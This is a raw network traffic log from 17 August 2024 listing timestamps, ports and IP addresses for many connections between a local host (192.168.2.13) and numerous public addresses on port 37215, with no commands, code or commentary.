Aug 17, 2024 01:01:52.593439102 CEST	37215	40554	197.146.176.2	192.168.2.13
Aug 17, 2024 01:01:52.593447924 CEST	43422	37215	192.168.2.13	156.229.96.143
Aug 17, 2024 01:01:52.593449116 CEST	37215	59352	156.108.21.125	192.168.2.13
Aug 17, 2024 01:01:52.593453884 CEST	57772	37215	192.168.2.13	197.123.24.112
Aug 17, 2024 01:01:52.593460083 CEST	37215	38652	41.65.91.127	192.168.2.13
Aug 17, 2024 01:01:52.593463898 CEST	58170	37215	192.168.2.13	197.232.93.152
Aug 17, 2024 01:01:52.593470097 CEST	37215	59864	156.108.21.125	192.168.2.13
Aug 17, 2024 01:01:52.593478918 CEST	37215	38140	41.65.91.127	192.168.2.13
Aug 17, 2024 01:01:52.593492031 CEST	40554	37215	192.168.2.13	197.146.176.2
Aug 17, 2024 01:01:52.593492031 CEST	39262	37215	192.168.2.13	197.2.79.146
Aug 17, 2024 01:01:52.593492031 CEST	59864	37215	192.168.2.13	156.108.21.125
Aug 17, 2024 01:01:52.593496084 CEST	38652	37215	192.168.2.13	41.65.91.127
Aug 17, 2024 01:01:52.593501091 CEST	55684	37215	192.168.2.13	41.253.43.92
Aug 17, 2024 01:01:52.593530893 CEST	46472	37215	192.168.2.13	156.34.243.228
Aug 17, 2024 01:01:52.593537092 CEST	37215	39070	41.170.171.164	192.168.2.13
Aug 17, 2024 01:01:52.593542099 CEST	46384	37215	192.168.2.13	156.125.191.198
Aug 17, 2024 01:01:52.593542099 CEST	40554	37215	192.168.2.13	197.146.176.2
Aug 17, 2024 01:01:52.593544006 CEST	57772	37215	192.168.2.13	197.123.24.112
Aug 17, 2024 01:01:52.593547106 CEST	37215	39582	41.170.171.164	192.168.2.13
Aug 17, 2024 01:01:52.593550920 CEST	59864	37215	192.168.2.13	156.108.21.125
Aug 17, 2024 01:01:52.593555927 CEST	38652	37215	192.168.2.13	41.65.91.127
Aug 17, 2024 01:01:52.593569994 CEST	37215	54172	197.169.43.8	192.168.2.13
Aug 17, 2024 01:01:52.593578100 CEST	43970	37215	192.168.2.13	41.229.137.21
Aug 17, 2024 01:01:52.593579054 CEST	37215	54684	197.169.43.8	192.168.2.13
Aug 17, 2024 01:01:52.593583107 CEST	39582	37215	192.168.2.13	41.170.171.164
Aug 17, 2024 01:01:52.593589067 CEST	37215	50628	156.211.146.152	192.168.2.13
Aug 17, 2024 01:01:52.593591928 CEST	49538	37215	192.168.2.13	41.229.132.89
Aug 17, 2024 01:01:52.593600035 CEST	37215	51140	156.211.146.152	192.168.2.13
Aug 17, 2024 01:01:52.593605995 CEST	42866	37215	192.168.2.13	156.216.155.74
Aug 17, 2024 01:01:52.593605995 CEST	54684	37215	192.168.2.13	197.169.43.8
Aug 17, 2024 01:01:52.593609095 CEST	37215	45326	41.224.16.145	192.168.2.13
Aug 17, 2024 01:01:52.593626022 CEST	37215	45838	41.224.16.145	192.168.2.13
Aug 17, 2024 01:01:52.593631029 CEST	51140	37215	192.168.2.13	156.211.146.152
Aug 17, 2024 01:01:52.593636036 CEST	37215	34724	41.69.178.154	192.168.2.13
Aug 17, 2024 01:01:52.593642950 CEST	60612	37215	192.168.2.13	197.157.245.225
Aug 17, 2024 01:01:52.593645096 CEST	37215	35236	41.69.178.154	192.168.2.13
Aug 17, 2024 01:01:52.593646049 CEST	37362	37215	192.168.2.13	156.159.42.226
Aug 17, 2024 01:01:52.593647003 CEST	48766	37215	192.168.2.13	156.161.17.168
Aug 17, 2024 01:01:52.593674898 CEST	35236	37215	192.168.2.13	41.69.178.154
Aug 17, 2024 01:01:52.593681097 CEST	37215	34708	156.30.136.95	192.168.2.13
Aug 17, 2024 01:01:52.593689919 CEST	37215	55620	197.99.101.55	192.168.2.13
Aug 17, 2024 01:01:52.593693018 CEST	54684	37215	192.168.2.13	197.169.43.8
Aug 17, 2024 01:01:52.593697071 CEST	39582	37215	192.168.2.13	41.170.171.164
Aug 17, 2024 01:01:52.593700886 CEST	37215	35220	156.30.136.95	192.168.2.13
Aug 17, 2024 01:01:52.593704939 CEST	51140	37215	192.168.2.13	156.211.146.152
Aug 17, 2024 01:01:52.593712091 CEST	37215	56132	197.99.101.55	192.168.2.13
Aug 17, 2024 01:01:52.593713045 CEST	45838	37215	192.168.2.13	41.224.16.145
Aug 17, 2024 01:01:52.593713045 CEST	45838	37215	192.168.2.13	41.224.16.145
Aug 17, 2024 01:01:52.593715906 CEST	35236	37215	192.168.2.13	41.69.178.154
Aug 17, 2024 01:01:52.593722105 CEST	37215	34628	41.203.43.145	192.168.2.13
Aug 17, 2024 01:01:52.593738079 CEST	35220	37215	192.168.2.13	156.30.136.95
Aug 17, 2024 01:01:52.593738079 CEST	56132	37215	192.168.2.13	197.99.101.55
Aug 17, 2024 01:01:52.593764067 CEST	44400	37215	192.168.2.13	197.36.122.19
Aug 17, 2024 01:01:52.593776941 CEST	42652	37215	192.168.2.13	197.8.112.23
Aug 17, 2024 01:01:52.593786955 CEST	59546	37215	192.168.2.13	156.41.196.1
Aug 17, 2024 01:01:52.593787909 CEST	37215	35140	41.203.43.145	192.168.2.13
Aug 17, 2024 01:01:52.593795061 CEST	54196	37215	192.168.2.13	41.135.202.113
Aug 17, 2024 01:01:52.593796968 CEST	37215	52016	156.174.216.111	192.168.2.13
Aug 17, 2024 01:01:52.593811989 CEST	37215	52528	156.174.216.111	192.168.2.13
Aug 17, 2024 01:01:52.593820095 CEST	35140	37215	192.168.2.13	41.203.43.145
Aug 17, 2024 01:01:52.593821049 CEST	37215	51860	197.251.81.12	192.168.2.13
Aug 17, 2024 01:01:52.593835115 CEST	53590	37215	192.168.2.13	156.12.134.196
Aug 17, 2024 01:01:52.593837976 CEST	37215	52372	197.251.81.12	192.168.2.13
Aug 17, 2024 01:01:52.593838930 CEST	35220	37215	192.168.2.13	156.30.136.95
Aug 17, 2024 01:01:52.593838930 CEST	52528	37215	192.168.2.13	156.174.216.111
Aug 17, 2024 01:01:52.593842983 CEST	37215	53592	41.65.65.28	192.168.2.13
Aug 17, 2024 01:01:52.593844891 CEST	56132	37215	192.168.2.13	197.99.101.55
Aug 17, 2024 01:01:52.593858957 CEST	37215	54104	41.65.65.28	192.168.2.13
Aug 17, 2024 01:01:52.593864918 CEST	52372	37215	192.168.2.13	197.251.81.12
Aug 17, 2024 01:01:52.593868017 CEST	35140	37215	192.168.2.13	41.203.43.145
Aug 17, 2024 01:01:52.593868971 CEST	37215	38220	197.46.46.122	192.168.2.13
Aug 17, 2024 01:01:52.593879938 CEST	37215	57612	41.86.255.186	192.168.2.13
Aug 17, 2024 01:01:52.593883991 CEST	37215	38732	197.46.46.122	192.168.2.13
Aug 17, 2024 01:01:52.593888998 CEST	46690	37215	192.168.2.13	156.220.93.113
Aug 17, 2024 01:01:52.593895912 CEST	37215	58124	41.86.255.186	192.168.2.13
Aug 17, 2024 01:01:52.593898058 CEST	54104	37215	192.168.2.13	41.65.65.28
Aug 17, 2024 01:01:52.593904018 CEST	53758	37215	192.168.2.13	197.166.118.19
Aug 17, 2024 01:01:52.593905926 CEST	37215	43454	156.221.71.103	192.168.2.13
Aug 17, 2024 01:01:52.593914032 CEST	33476	37215	192.168.2.13	41.75.226.237
Aug 17, 2024 01:01:52.593918085 CEST	38732	37215	192.168.2.13	197.46.46.122
Aug 17, 2024 01:01:52.593924999 CEST	58124	37215	192.168.2.13	41.86.255.186
Aug 17, 2024 01:01:52.593935013 CEST	37215	43966	156.221.71.103	192.168.2.13
Aug 17, 2024 01:01:52.593945026 CEST	37215	49320	41.245.208.210	192.168.2.13
Aug 17, 2024 01:01:52.593961954 CEST	52528	37215	192.168.2.13	156.174.216.111
Aug 17, 2024 01:01:52.593965054 CEST	37215	57176	197.86.231.106	192.168.2.13
Aug 17, 2024 01:01:52.593966007 CEST	52372	37215	192.168.2.13	197.251.81.12
Aug 17, 2024 01:01:52.593972921 CEST	43966	37215	192.168.2.13	156.221.71.103
Aug 17, 2024 01:01:52.593974113 CEST	54104	37215	192.168.2.13	41.65.65.28
Aug 17, 2024 01:01:52.593976021 CEST	37215	49832	41.245.208.210	192.168.2.13
Aug 17, 2024 01:01:52.593981981 CEST	38732	37215	192.168.2.13	197.46.46.122
Aug 17, 2024 01:01:52.593985081 CEST	37215	57688	197.86.231.106	192.168.2.13
Aug 17, 2024 01:01:52.593993902 CEST	37215	34680	41.219.47.145	192.168.2.13
Aug 17, 2024 01:01:52.593995094 CEST	58124	37215	192.168.2.13	41.86.255.186
Aug 17, 2024 01:01:52.594003916 CEST	37215	35192	41.219.47.145	192.168.2.13
Aug 17, 2024 01:01:52.594012976 CEST	57688	37215	192.168.2.13	197.86.231.106
Aug 17, 2024 01:01:52.594019890 CEST	49832	37215	192.168.2.13	41.245.208.210
Aug 17, 2024 01:01:52.594028950 CEST	38668	37215	192.168.2.13	156.141.40.131
Aug 17, 2024 01:01:52.594031096 CEST	35192	37215	192.168.2.13	41.219.47.145
Aug 17, 2024 01:01:52.594042063 CEST	52660	37215	192.168.2.13	41.84.217.81
Aug 17, 2024 01:01:52.594048977 CEST	40436	37215	192.168.2.13	156.81.112.77
Aug 17, 2024 01:01:52.594048977 CEST	57724	37215	192.168.2.13	197.93.165.158
Aug 17, 2024 01:01:52.594064951 CEST	37116	37215	192.168.2.13	197.93.59.225
Aug 17, 2024 01:01:52.594077110 CEST	37215	39812	197.82.171.187	192.168.2.13
Aug 17, 2024 01:01:52.594085932 CEST	37215	40324	197.82.171.187	192.168.2.13
Aug 17, 2024 01:01:52.594094992 CEST	43966	37215	192.168.2.13	156.221.71.103
Aug 17, 2024 01:01:52.594094992 CEST	49832	37215	192.168.2.13	41.245.208.210
Aug 17, 2024 01:01:52.594098091 CEST	37215	59504	156.102.86.247	192.168.2.13
Aug 17, 2024 01:01:52.594105959 CEST	37215	60016	156.102.86.247	192.168.2.13
Aug 17, 2024 01:01:52.594106913 CEST	57688	37215	192.168.2.13	197.86.231.106
Aug 17, 2024 01:01:52.594120979 CEST	40324	37215	192.168.2.13	197.82.171.187
Aug 17, 2024 01:01:52.594121933 CEST	35192	37215	192.168.2.13	41.219.47.145
Aug 17, 2024 01:01:52.594126940 CEST	37215	53210	156.165.216.175	192.168.2.13
Aug 17, 2024 01:01:52.594141006 CEST	37215	53722	156.165.216.175	192.168.2.13
Aug 17, 2024 01:01:52.594146967 CEST	35800	37215	192.168.2.13	41.203.221.60
Aug 17, 2024 01:01:52.594151020 CEST	56708	37215	192.168.2.13	156.21.81.137
Aug 17, 2024 01:01:52.594153881 CEST	60016	37215	192.168.2.13	156.102.86.247
Aug 17, 2024 01:01:52.594163895 CEST	37215	58658	156.68.188.163	192.168.2.13
Aug 17, 2024 01:01:52.594171047 CEST	43362	37215	192.168.2.13	197.184.232.244
Aug 17, 2024 01:01:52.594171047 CEST	57582	37215	192.168.2.13	197.55.107.244
Aug 17, 2024 01:01:52.594172001 CEST	53722	37215	192.168.2.13	156.165.216.175
Aug 17, 2024 01:01:52.594173908 CEST	37215	59170	156.68.188.163	192.168.2.13
Aug 17, 2024 01:01:52.594183922 CEST	37215	57568	41.212.158.195	192.168.2.13
Aug 17, 2024 01:01:52.594194889 CEST	40324	37215	192.168.2.13	197.82.171.187
Aug 17, 2024 01:01:52.594201088 CEST	60016	37215	192.168.2.13	156.102.86.247
Aug 17, 2024 01:01:52.594212055 CEST	37215	58080	41.212.158.195	192.168.2.13
Aug 17, 2024 01:01:52.594213009 CEST	59170	37215	192.168.2.13	156.68.188.163
Aug 17, 2024 01:01:52.594219923 CEST	53722	37215	192.168.2.13	156.165.216.175
Aug 17, 2024 01:01:52.594221115 CEST	37215	41986	41.126.153.128	192.168.2.13
Aug 17, 2024 01:01:52.594228983 CEST	37215	42498	41.126.153.128	192.168.2.13
Aug 17, 2024 01:01:52.594233036 CEST	48456	37215	192.168.2.13	41.205.24.112
Aug 17, 2024 01:01:52.594235897 CEST	32826	37215	192.168.2.13	41.44.188.7
Aug 17, 2024 01:01:52.594240904 CEST	58080	37215	192.168.2.13	41.212.158.195
Aug 17, 2024 01:01:52.594260931 CEST	60898	37215	192.168.2.13	156.105.254.196
Aug 17, 2024 01:01:52.594260931 CEST	42498	37215	192.168.2.13	41.126.153.128
Aug 17, 2024 01:01:52.594289064 CEST	59170	37215	192.168.2.13	156.68.188.163
Aug 17, 2024 01:01:52.594296932 CEST	58080	37215	192.168.2.13	41.212.158.195
Aug 17, 2024 01:01:52.594314098 CEST	42498	37215	192.168.2.13	41.126.153.128
Aug 17, 2024 01:01:52.594314098 CEST	37215	45718	197.99.80.147	192.168.2.13
Aug 17, 2024 01:01:52.594314098 CEST	56476	37215	192.168.2.13	156.37.116.205
Aug 17, 2024 01:01:52.594326973 CEST	34118	37215	192.168.2.13	41.233.122.47
Aug 17, 2024 01:01:52.594336033 CEST	37215	46230	197.99.80.147	192.168.2.13
Aug 17, 2024 01:01:52.594341040 CEST	42944	37215	192.168.2.13	41.105.187.177
Aug 17, 2024 01:01:52.594346046 CEST	37215	36218	156.119.152.125	192.168.2.13
Aug 17, 2024 01:01:52.594355106 CEST	37215	36730	156.119.152.125	192.168.2.13
Aug 17, 2024 01:01:52.594372034 CEST	46230	37215	192.168.2.13	197.99.80.147
Aug 17, 2024 01:01:52.594373941 CEST	37215	58558	197.198.215.67	192.168.2.13
Aug 17, 2024 01:01:52.594388008 CEST	37215	41756	156.213.21.26	192.168.2.13
Aug 17, 2024 01:01:52.594393015 CEST	36730	37215	192.168.2.13	156.119.152.125
Aug 17, 2024 01:01:52.594398022 CEST	37215	42268	156.213.21.26	192.168.2.13
Aug 17, 2024 01:01:52.594407082 CEST	46230	37215	192.168.2.13	197.99.80.147
Aug 17, 2024 01:01:52.594414949 CEST	37215	37090	41.47.131.147	192.168.2.13
Aug 17, 2024 01:01:52.594424009 CEST	37215	36578	41.47.131.147	192.168.2.13
Aug 17, 2024 01:01:52.594429970 CEST	45006	37215	192.168.2.13	41.219.110.69
Aug 17, 2024 01:01:52.594436884 CEST	42268	37215	192.168.2.13	156.213.21.26
Aug 17, 2024 01:01:52.594444990 CEST	37215	38430	197.137.80.101	192.168.2.13
Aug 17, 2024 01:01:52.594449043 CEST	37090	37215	192.168.2.13	41.47.131.147
Aug 17, 2024 01:01:52.594455957 CEST	37215	59070	197.198.215.67	192.168.2.13
Aug 17, 2024 01:01:52.594472885 CEST	36730	37215	192.168.2.13	156.119.152.125
Aug 17, 2024 01:01:52.594477892 CEST	37215	38942	197.137.80.101	192.168.2.13
Aug 17, 2024 01:01:52.594484091 CEST	37090	37215	192.168.2.13	41.47.131.147
Aug 17, 2024 01:01:52.594486952 CEST	42268	37215	192.168.2.13	156.213.21.26
Aug 17, 2024 01:01:52.594492912 CEST	37215	37792	197.4.152.147	192.168.2.13
Aug 17, 2024 01:01:52.594502926 CEST	44052	37215	192.168.2.13	197.48.31.41
Aug 17, 2024 01:01:52.594502926 CEST	37215	38304	197.4.152.147	192.168.2.13
Aug 17, 2024 01:01:52.594515085 CEST	37215	46172	41.249.45.71	192.168.2.13
Aug 17, 2024 01:01:52.594516993 CEST	59070	37215	192.168.2.13	197.198.215.67
Aug 17, 2024 01:01:52.594516993 CEST	57082	37215	192.168.2.13	156.211.231.190
Aug 17, 2024 01:01:52.594516993 CEST	38942	37215	192.168.2.13	197.137.80.101
Aug 17, 2024 01:01:52.594521046 CEST	37215	46684	41.249.45.71	192.168.2.13
Aug 17, 2024 01:01:52.594535112 CEST	33132	37215	192.168.2.13	156.122.150.249
Aug 17, 2024 01:01:52.594542027 CEST	38304	37215	192.168.2.13	197.4.152.147
Aug 17, 2024 01:01:52.594556093 CEST	46684	37215	192.168.2.13	41.249.45.71
Aug 17, 2024 01:01:52.594558954 CEST	37215	35452	156.51.154.23	192.168.2.13
Aug 17, 2024 01:01:52.594575882 CEST	37215	35964	156.51.154.23	192.168.2.13
Aug 17, 2024 01:01:52.594582081 CEST	59070	37215	192.168.2.13	197.198.215.67
Aug 17, 2024 01:01:52.594588995 CEST	37215	40118	41.255.147.131	192.168.2.13
Aug 17, 2024 01:01:52.594597101 CEST	38942	37215	192.168.2.13	197.137.80.101
Aug 17, 2024 01:01:52.594597101 CEST	38304	37215	192.168.2.13	197.4.152.147
Aug 17, 2024 01:01:52.594599962 CEST	37215	45892	156.168.155.198	192.168.2.13
Aug 17, 2024 01:01:52.594600916 CEST	46684	37215	192.168.2.13	41.249.45.71
Aug 17, 2024 01:01:52.594611883 CEST	37215	40630	41.255.147.131	192.168.2.13
Aug 17, 2024 01:01:52.594611883 CEST	35964	37215	192.168.2.13	156.51.154.23
Aug 17, 2024 01:01:52.594611883 CEST	44078	37215	192.168.2.13	197.4.146.79
Aug 17, 2024 01:01:52.594623089 CEST	37215	46404	156.168.155.198	192.168.2.13
Aug 17, 2024 01:01:52.594626904 CEST	44668	37215	192.168.2.13	197.159.159.96
Aug 17, 2024 01:01:52.594631910 CEST	37215	46730	156.159.254.214	192.168.2.13
Aug 17, 2024 01:01:52.594643116 CEST	37215	47242	156.159.254.214	192.168.2.13
Aug 17, 2024 01:01:52.594645977 CEST	39610	37215	192.168.2.13	41.220.205.135
Aug 17, 2024 01:01:52.594646931 CEST	40630	37215	192.168.2.13	41.255.147.131
Aug 17, 2024 01:01:52.594671965 CEST	47242	37215	192.168.2.13	156.159.254.214
Aug 17, 2024 01:01:52.594674110 CEST	33546	37215	192.168.2.13	156.75.242.255
Aug 17, 2024 01:01:52.594680071 CEST	37215	50546	197.43.146.71	192.168.2.13
Aug 17, 2024 01:01:52.594687939 CEST	46404	37215	192.168.2.13	156.168.155.198
Aug 17, 2024 01:01:52.594695091 CEST	37215	51058	197.43.146.71	192.168.2.13
Aug 17, 2024 01:01:52.594703913 CEST	37215	57920	41.101.31.244	192.168.2.13
Aug 17, 2024 01:01:52.594706059 CEST	35964	37215	192.168.2.13	156.51.154.23
Aug 17, 2024 01:01:52.594712973 CEST	37215	47844	41.90.42.198	192.168.2.13
Aug 17, 2024 01:01:52.594713926 CEST	46404	37215	192.168.2.13	156.168.155.198
Aug 17, 2024 01:01:52.594712973 CEST	40630	37215	192.168.2.13	41.255.147.131
Aug 17, 2024 01:01:52.594727993 CEST	37215	58192	41.125.158.191	192.168.2.13
Aug 17, 2024 01:01:52.594728947 CEST	51058	37215	192.168.2.13	197.43.146.71
Aug 17, 2024 01:01:52.594733953 CEST	47242	37215	192.168.2.13	156.159.254.214
Aug 17, 2024 01:01:52.594738007 CEST	37215	48356	41.90.42.198	192.168.2.13
Aug 17, 2024 01:01:52.594749928 CEST	37215	58432	41.101.31.244	192.168.2.13
Aug 17, 2024 01:01:52.594760895 CEST	37215	58704	41.125.158.191	192.168.2.13
Aug 17, 2024 01:01:52.594763041 CEST	52436	37215	192.168.2.13	197.214.139.137
Aug 17, 2024 01:01:52.594767094 CEST	33424	37215	192.168.2.13	156.222.5.107
Aug 17, 2024 01:01:52.594767094 CEST	48356	37215	192.168.2.13	41.90.42.198
Aug 17, 2024 01:01:52.594769955 CEST	37215	54560	156.226.106.180	192.168.2.13
Aug 17, 2024 01:01:52.594783068 CEST	49670	37215	192.168.2.13	156.75.186.246
Aug 17, 2024 01:01:52.594789028 CEST	58432	37215	192.168.2.13	41.101.31.244
Aug 17, 2024 01:01:52.594789028 CEST	58704	37215	192.168.2.13	41.125.158.191
Aug 17, 2024 01:01:52.594811916 CEST	37215	55072	156.226.106.180	192.168.2.13
Aug 17, 2024 01:01:52.594820976 CEST	37215	56818	156.132.119.97	192.168.2.13
Aug 17, 2024 01:01:52.594830036 CEST	37215	57330	156.132.119.97	192.168.2.13
Aug 17, 2024 01:01:52.594834089 CEST	51058	37215	192.168.2.13	197.43.146.71
Aug 17, 2024 01:01:52.594840050 CEST	37215	50076	41.125.204.31	192.168.2.13
Aug 17, 2024 01:01:52.594840050 CEST	58432	37215	192.168.2.13	41.101.31.244
Aug 17, 2024 01:01:52.594840050 CEST	58704	37215	192.168.2.13	41.125.158.191
Aug 17, 2024 01:01:52.594841957 CEST	48356	37215	192.168.2.13	41.90.42.198
Aug 17, 2024 01:01:52.594845057 CEST	60008	37215	192.168.2.13	41.21.246.26
Aug 17, 2024 01:01:52.594847918 CEST	55072	37215	192.168.2.13	156.226.106.180
Aug 17, 2024 01:01:52.594857931 CEST	57330	37215	192.168.2.13	156.132.119.97
Aug 17, 2024 01:01:52.594861031 CEST	45022	37215	192.168.2.13	197.139.83.220
Aug 17, 2024 01:01:52.594883919 CEST	37215	50588	41.125.204.31	192.168.2.13
Aug 17, 2024 01:01:52.594885111 CEST	58650	37215	192.168.2.13	41.84.246.252
Aug 17, 2024 01:01:52.594894886 CEST	56926	37215	192.168.2.13	156.42.67.215
Aug 17, 2024 01:01:52.594897985 CEST	37215	53138	156.86.210.142	192.168.2.13
Aug 17, 2024 01:01:52.594907045 CEST	37215	53650	156.86.210.142	192.168.2.13
Aug 17, 2024 01:01:52.594916105 CEST	50588	37215	192.168.2.13	41.125.204.31
Aug 17, 2024 01:01:52.594933033 CEST	53650	37215	192.168.2.13	156.86.210.142
Aug 17, 2024 01:01:52.594953060 CEST	57330	37215	192.168.2.13	156.132.119.97
Aug 17, 2024 01:01:52.594954967 CEST	55072	37215	192.168.2.13	156.226.106.180
Aug 17, 2024 01:01:52.594959021 CEST	50588	37215	192.168.2.13	41.125.204.31
Aug 17, 2024 01:01:52.594969034 CEST	37215	59428	156.253.199.245	192.168.2.13
Aug 17, 2024 01:01:52.594976902 CEST	54644	37215	192.168.2.13	156.235.58.38
Aug 17, 2024 01:01:52.594978094 CEST	58752	37215	192.168.2.13	197.215.8.61
Aug 17, 2024 01:01:52.594979048 CEST	37215	59940	156.253.199.245	192.168.2.13
Aug 17, 2024 01:01:52.594986916 CEST	37215	48708	41.188.19.203	192.168.2.13
Aug 17, 2024 01:01:52.594990969 CEST	37215	49220	41.188.19.203	192.168.2.13
Aug 17, 2024 01:01:52.594995022 CEST	38626	37215	192.168.2.13	41.186.130.207
Aug 17, 2024 01:01:52.595000029 CEST	37215	47600	41.105.138.43	192.168.2.13
Aug 17, 2024 01:01:52.595015049 CEST	59940	37215	192.168.2.13	156.253.199.245
Aug 17, 2024 01:01:52.595016003 CEST	49220	37215	192.168.2.13	41.188.19.203
Aug 17, 2024 01:01:52.595030069 CEST	52212	37215	192.168.2.13	41.222.83.219
Aug 17, 2024 01:01:52.595048904 CEST	53650	37215	192.168.2.13	156.86.210.142
Aug 17, 2024 01:01:52.595056057 CEST	59940	37215	192.168.2.13	156.253.199.245
Aug 17, 2024 01:01:52.595067024 CEST	37215	48112	41.105.138.43	192.168.2.13
Aug 17, 2024 01:01:52.595067978 CEST	49220	37215	192.168.2.13	41.188.19.203
Aug 17, 2024 01:01:52.595072031 CEST	33650	37215	192.168.2.13	197.151.50.43
Aug 17, 2024 01:01:52.595077038 CEST	37215	51244	197.165.221.135	192.168.2.13
Aug 17, 2024 01:01:52.595086098 CEST	37215	51756	197.165.221.135	192.168.2.13
Aug 17, 2024 01:01:52.595088959 CEST	43204	37215	192.168.2.13	197.178.191.46
Aug 17, 2024 01:01:52.595094919 CEST	37215	60386	156.67.62.38	192.168.2.13
Aug 17, 2024 01:01:52.595101118 CEST	48112	37215	192.168.2.13	41.105.138.43
Aug 17, 2024 01:01:52.595122099 CEST	51756	37215	192.168.2.13	197.165.221.135
Aug 17, 2024 01:01:52.595130920 CEST	37215	60898	156.67.62.38	192.168.2.13
Aug 17, 2024 01:01:52.595139980 CEST	37215	32858	197.214.120.213	192.168.2.13
Aug 17, 2024 01:01:52.595149040 CEST	37215	33370	197.214.120.213	192.168.2.13
Aug 17, 2024 01:01:52.595158100 CEST	37215	41004	41.139.28.57	192.168.2.13
Aug 17, 2024 01:01:52.595160007 CEST	48112	37215	192.168.2.13	41.105.138.43
Aug 17, 2024 01:01:52.595172882 CEST	51756	37215	192.168.2.13	197.165.221.135
Aug 17, 2024 01:01:52.595180035 CEST	33370	37215	192.168.2.13	197.214.120.213
Aug 17, 2024 01:01:52.595180988 CEST	46760	37215	192.168.2.13	197.29.241.16
Aug 17, 2024 01:01:52.595199108 CEST	37215	41516	41.139.28.57	192.168.2.13
Aug 17, 2024 01:01:52.595200062 CEST	57772	37215	192.168.2.13	156.139.38.63
Aug 17, 2024 01:01:52.595207930 CEST	37215	55318	41.242.104.85	192.168.2.13
Aug 17, 2024 01:01:52.595213890 CEST	41150	37215	192.168.2.13	156.48.147.157
Aug 17, 2024 01:01:52.595215082 CEST	60898	37215	192.168.2.13	156.67.62.38
Aug 17, 2024 01:01:52.595216036 CEST	37215	60680	156.155.175.224	192.168.2.13
Aug 17, 2024 01:01:52.595236063 CEST	41516	37215	192.168.2.13	41.139.28.57
Aug 17, 2024 01:01:52.595238924 CEST	33370	37215	192.168.2.13	197.214.120.213
Aug 17, 2024 01:01:52.595257998 CEST	42940	37215	192.168.2.13	156.166.44.39
Aug 17, 2024 01:01:52.595263958 CEST	40166	37215	192.168.2.13	197.116.147.152
Aug 17, 2024 01:01:52.595271111 CEST	60898	37215	192.168.2.13	156.67.62.38
Aug 17, 2024 01:01:52.595278025 CEST	37215	55830	41.242.104.85	192.168.2.13
Aug 17, 2024 01:01:52.595288038 CEST	37215	53570	197.117.32.112	192.168.2.13
Aug 17, 2024 01:01:52.595295906 CEST	37215	54082	197.117.32.112	192.168.2.13
Aug 17, 2024 01:01:52.595299006 CEST	41516	37215	192.168.2.13	41.139.28.57
Aug 17, 2024 01:01:52.595299959 CEST	37215	32960	156.155.175.224	192.168.2.13
Aug 17, 2024 01:01:52.595309973 CEST	37215	33658	41.164.165.147	192.168.2.13
Aug 17, 2024 01:01:52.595312119 CEST	38732	37215	192.168.2.13	197.223.217.187
Aug 17, 2024 01:01:52.595314026 CEST	55830	37215	192.168.2.13	41.242.104.85
Aug 17, 2024 01:01:52.595328093 CEST	54082	37215	192.168.2.13	197.117.32.112
Aug 17, 2024 01:01:52.595344067 CEST	37215	34170	41.164.165.147	192.168.2.13
Aug 17, 2024 01:01:52.595352888 CEST	37215	60630	156.81.191.67	192.168.2.13
Aug 17, 2024 01:01:52.595360994 CEST	37215	32910	156.81.191.67	192.168.2.13
Aug 17, 2024 01:01:52.595366955 CEST	55830	37215	192.168.2.13	41.242.104.85
Aug 17, 2024 01:01:52.595371008 CEST	32960	37215	192.168.2.13	156.155.175.224
Aug 17, 2024 01:01:52.595371962 CEST	37215	42230	197.152.136.36	192.168.2.13
Aug 17, 2024 01:01:52.595382929 CEST	54082	37215	192.168.2.13	197.117.32.112
Aug 17, 2024 01:01:52.595388889 CEST	32960	37215	192.168.2.13	156.155.175.224
Aug 17, 2024 01:01:52.595390081 CEST	34170	37215	192.168.2.13	41.164.165.147
Aug 17, 2024 01:01:52.595400095 CEST	51958	37215	192.168.2.13	41.239.67.63
Aug 17, 2024 01:01:52.595401049 CEST	32910	37215	192.168.2.13	156.81.191.67
Aug 17, 2024 01:01:52.595402002 CEST	36932	37215	192.168.2.13	41.60.201.101
Aug 17, 2024 01:01:52.595410109 CEST	37215	42742	197.152.136.36	192.168.2.13
Aug 17, 2024 01:01:52.595415115 CEST	41624	37215	192.168.2.13	156.11.180.235
Aug 17, 2024 01:01:52.595421076 CEST	37215	48212	41.7.76.224	192.168.2.13
Aug 17, 2024 01:01:52.595432043 CEST	37215	48724	41.7.76.224	192.168.2.13
Aug 17, 2024 01:01:52.595439911 CEST	42742	37215	192.168.2.13	197.152.136.36
Aug 17, 2024 01:01:52.595443010 CEST	37215	44674	41.30.59.125	192.168.2.13
Aug 17, 2024 01:01:52.595458984 CEST	48724	37215	192.168.2.13	41.7.76.224
Aug 17, 2024 01:01:52.595475912 CEST	34170	37215	192.168.2.13	41.164.165.147
Aug 17, 2024 01:01:52.595484018 CEST	32910	37215	192.168.2.13	156.81.191.67
Aug 17, 2024 01:01:52.595491886 CEST	42742	37215	192.168.2.13	197.152.136.36
Aug 17, 2024 01:01:52.595504045 CEST	41636	37215	192.168.2.13	197.123.175.70
Aug 17, 2024 01:01:52.595519066 CEST	57062	37215	192.168.2.13	197.233.139.44
Aug 17, 2024 01:01:52.595576048 CEST	37215	45186	41.30.59.125	192.168.2.13
Aug 17, 2024 01:01:52.595586061 CEST	37215	50212	197.227.212.131	192.168.2.13
Aug 17, 2024 01:01:52.595609903 CEST	45186	37215	192.168.2.13	41.30.59.125
Aug 17, 2024 01:01:52.595612049 CEST	37215	50724	197.227.212.131	192.168.2.13
Aug 17, 2024 01:01:52.595621109 CEST	37215	50674	41.111.3.139	192.168.2.13
Aug 17, 2024 01:01:52.595630884 CEST	37215	51186	41.111.3.139	192.168.2.13
Aug 17, 2024 01:01:52.595639944 CEST	37215	52154	41.67.207.128	192.168.2.13
Aug 17, 2024 01:01:52.595644951 CEST	50724	37215	192.168.2.13	197.227.212.131
Aug 17, 2024 01:01:52.595649004 CEST	37215	52666	41.67.207.128	192.168.2.13
Aug 17, 2024 01:01:52.595659018 CEST	37215	58256	197.193.52.121	192.168.2.13
Aug 17, 2024 01:01:52.595663071 CEST	51186	37215	192.168.2.13	41.111.3.139
Aug 17, 2024 01:01:52.595680952 CEST	52666	37215	192.168.2.13	41.67.207.128
Aug 17, 2024 01:01:52.595707893 CEST	37215	49946	41.200.34.54	192.168.2.13
Aug 17, 2024 01:01:52.595716953 CEST	37215	50458	41.200.34.54	192.168.2.13
Aug 17, 2024 01:01:52.595726013 CEST	37215	58768	197.193.52.121	192.168.2.13
Aug 17, 2024 01:01:52.595735073 CEST	37215	53256	197.152.29.126	192.168.2.13
Aug 17, 2024 01:01:52.595751047 CEST	50458	37215	192.168.2.13	41.200.34.54
Aug 17, 2024 01:01:52.595758915 CEST	58768	37215	192.168.2.13	197.193.52.121
